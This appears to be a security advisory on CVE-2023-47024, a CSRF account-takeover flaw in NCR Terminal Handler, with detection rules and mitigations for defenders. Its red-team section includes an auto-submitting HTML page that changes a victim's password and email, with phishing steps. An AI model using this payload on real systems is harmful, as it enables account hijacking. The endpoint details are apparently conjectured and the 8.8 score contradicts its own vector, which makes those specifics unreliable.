CVE-2023-47024

Executive Summary

CVE-2023-47024 is a Cross-Site Request Forgery (CSRF) vulnerability in NCR Terminal Handler v1.5.1 that enables a one-click account takeover. The attack chain exploits multiple weaknesses, including an undisclosed WSDL function with weak security controls that accepts custom content types. This allows an attacker to forge requests on behalf of an authenticated user, leading to full account compromise. The vulnerability is currently unpatched, and no official fix has been released by NCR.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary NCR Terminal Handler application, which is typically deployed in retail and financial environments. Organizations using this software should treat it as a critical supply chain risk due to the lack of a patch.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the description and impact, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must click a link
• Scope (S): Changed (C) – attacker can take over account
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical – due to the one-click account takeover capability and lack of patch.

Deep Dive & Mechanics

The vulnerability resides in the NCR Terminal Handler v1.5.1, which exposes a WSDL (Web Services Description Language) interface. The WSDL contains an undisclosed function that lacks proper CSRF protections. Specifically:

• The function accepts custom content types (e.g., application/xml or text/plain) without validating the origin of the request.
• There is no CSRF token or SameSite cookie attribute enforcement.
• An attacker can craft a malicious HTML page that, when visited by an authenticated user, sends a forged SOAP or REST request to the vulnerable endpoint.
• This request can change the victim’s password, email, or other account settings, resulting in account takeover.

The attack chain:

1. Victim is authenticated to NCR Terminal Handler.
2. Attacker lures victim to a malicious page (e.g., via phishing email).
3. The page auto-submits a form or sends an XHR request to the vulnerable WSDL function.
4. The server processes the request as if it came from the victim, changing account credentials.
5. Attacker now controls the account.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable behavior to expected secure behavior.

Vulnerable Code (Conceptual):

# Vulnerable endpoint - no CSRF protection
@app.route('/wsdl/updateAccount', methods=['POST'])
def update_account():
    # Accepts any content type
    data = request.get_data()
    # Process request without origin check
    update_user_account(data)
    return "OK"

Patched Code (Expected):

# Patched endpoint with CSRF protection
@app.route('/wsdl/updateAccount', methods=['POST'])
def update_account():
    # Validate CSRF token
    token = request.headers.get('X-CSRF-Token')
    if not token or token != session['csrf_token']:
        abort(403)
    # Validate content type
    if request.content_type not in ['application/xml', 'application/json']:
        abort(415)
    # Validate origin
    origin = request.headers.get('Origin')
    if origin not in ['https://trusted-domain.com']:
        abort(403)
    data = request.get_data()
    update_user_account(data)
    return "OK"

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: NCR Terminal Handler v1.5.1 running on a local VM (e.g., Windows Server 2019).
• Attacker: Kali Linux with a simple HTTP server.
• Victim: Browser with authenticated session to the target.

Exploit Code (HTML):

<!DOCTYPE html>
<html>
<body>
<h1>Click me for a surprise!</h1>
<form id="csrf-form" action="https://target-ncr-server/wsdl/updateAccount" method="POST" enctype="text/plain">
    <input type="hidden" name="new_password" value="attacker123">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="submit" value="Submit">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on a malicious server.
2. Send phishing email to victim with link to the page.
3. Victim clicks link and the form auto-submits.
4. Account credentials are changed.

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to /wsdl/updateAccount or similar endpoints.
2. Check for requests with unexpected Content-Type headers (e.g., text/plain).
3. Look for Origin headers that do not match the legitimate domain.
4. Alert on multiple failed login attempts after a CSRF attack.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/wsdl/updateAccount" method=POST
| eval suspicious=if(content_type!="application/xml" AND content_type!="application/json", 1, 0)
| where suspicious=1
| table _time, src_ip, user_agent, content_type, referer

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wsdl/updateAccount with Content-Type: text/plain
  • Requests with missing or invalid Origin header
  • Referer header pointing to external domains

• Host IOCs:

  • Unusual account changes (password, email) in NCR Terminal Handler logs
  • New user accounts created via the WSDL interface

• File IOCs:

  • Malicious HTML files with auto-submitting forms targeting the NCR endpoint

Detection Engineering

YARA Rule

rule CVE_2023_47024_CSRF_Exploit {
    meta:
        description = "Detects HTML files attempting CSRF against NCR Terminal Handler"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-47024"
    strings:
        $csrf_form = "action=\"https://" ascii wide nocase
        $csrf_endpoint = "/wsdl/updateAccount" ascii wide nocase
        $csrf_method = "method=\"POST\"" ascii wide nocase
        $csrf_enctype = "enctype=\"text/plain\"" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-47024 CSRF Attempt Against NCR Terminal Handler
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to NCR Terminal Handler WSDL endpoint with suspicious content types
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wsdl/updateAccount'
        cs-content-type: 
            - 'text/plain'
            - 'application/x-www-form-urlencoded'
    condition: selection
falsepositives:
    - Legitimate API calls with custom content types (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-47024 CSRF Attempt Against NCR Terminal Handler"; flow:to_server,established; content:"POST"; http_method; content:"/wsdl/updateAccount"; http_uri; content:"Content-Type|3a 20|text/plain"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the NCR Terminal Handler from untrusted networks.
2. Implement a Web Application Firewall (WAF) rule to block requests to /wsdl/updateAccount with unexpected content types.
3. Enforce SameSite cookies (set to Lax or Strict) on the application.
4. Add CSRF tokens to all state-changing requests.

Long-term Fix:

• Contact NCR for an official patch.
• If patching is not possible, consider replacing the software with a supported alternative.

Workaround:

• Disable the vulnerable WSDL function if not needed.
• Use a reverse proxy to add CSRF validation headers.

Valters IT